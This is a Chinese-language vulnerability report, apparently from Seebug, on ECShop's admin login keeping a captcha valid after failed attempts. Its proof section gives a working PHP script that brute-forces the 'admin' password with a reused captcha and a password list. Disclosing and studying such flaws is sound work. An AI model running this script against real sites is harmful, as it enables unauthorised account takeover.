### 简要描述：
应该流行的版本都存在此问题
### 详细说明：
[<img src="https://images.seebug.org/upload/201306/031052155bc2a633acc7f218ab49bf4514316332.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201306/031052155bc2a633acc7f218ab49bf4514316332.png)
[<img src="https://images.seebug.org/upload/201306/03105232b4e2c86353c3ff0eb989026ab3aece46.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201306/03105232b4e2c86353c3ff0eb989026ab3aece46.png)
若验证码不匹配，并没有销毁当前验证码
所以就可以一次请求验证码图片后，只要不再刷新验证码就可以一直使用
### 漏洞证明：
1.获取正确的验证码
2.
```
<?php
$site='http://ecshop.com';
$admin_path='/admin/privilege.php';
$captcha='上一步获取的验证码';
$referer=$site;
function getH($url,$postdata=array()){
global $ch,$referer;
$options = array( CURLOPT_URL => $url,
CURLOPT_HEADER => false,
CURLOPT_TIMEOUT=> 0.11,
//CURLOPT_FILE=>$f,
CURLOPT_RETURNTRANSFER=>true,
CURLOPT_REFERER=>$referer,
//CURLOPT_POST=>1,
CURLOPT_HTTPHEADER=>array('Content-Type: application/x-www-form-urlencoded; charset=iso-8859-1','Expect:'),
CURLOPT_USERAGENT=>'ie'
);
if(!empty($postdata)){
$options[CURLOPT_POSTFIELDS]=http_build_query($postdata);
}
$ret = curl_setopt_array($ch,$options);
//$ret = curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);//返回一个字符串，而不是直接输出到浏览器
$ret = curl_exec($ch);
$info = curl_getinfo($ch);
if (empty($info['http_code'])) {
die("No HTTP code was returned");
} else if($info['http_code']==200) {//响应码为200
return $ret;
}else{
#var_dump($info);
echo '<br />';
echo ('响应码：'.$info['http_code']);//
echo '<br />';
echo $postdata['username'].' ---'.$postdata['password'];
echo '<br />';
}
}
$url=$site.$admin_path;
$data=array(
'username'=>'admin',
'password'=>'123456ad',
'captcha'=>$captcha,
'act'=>'signin'
);
//词典
$passwds=array('1','2','3','123456a','123456','123456ds');
foreach($passwds as $p){
$data['password']=$p;
$res= strip_tags(getH($url,$data));
if(stripos($res,'您输入的帐号信息不正确')){
echo 'no';
}
echo '
------------------------
';
}
```
[<img src="https://images.seebug.org/upload/201306/0311024685d38a77ed95bec6b57d7c03057b2140.png" alt="22.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201306/0311024685d38a77ed95bec6b57d7c03057b2140.png)
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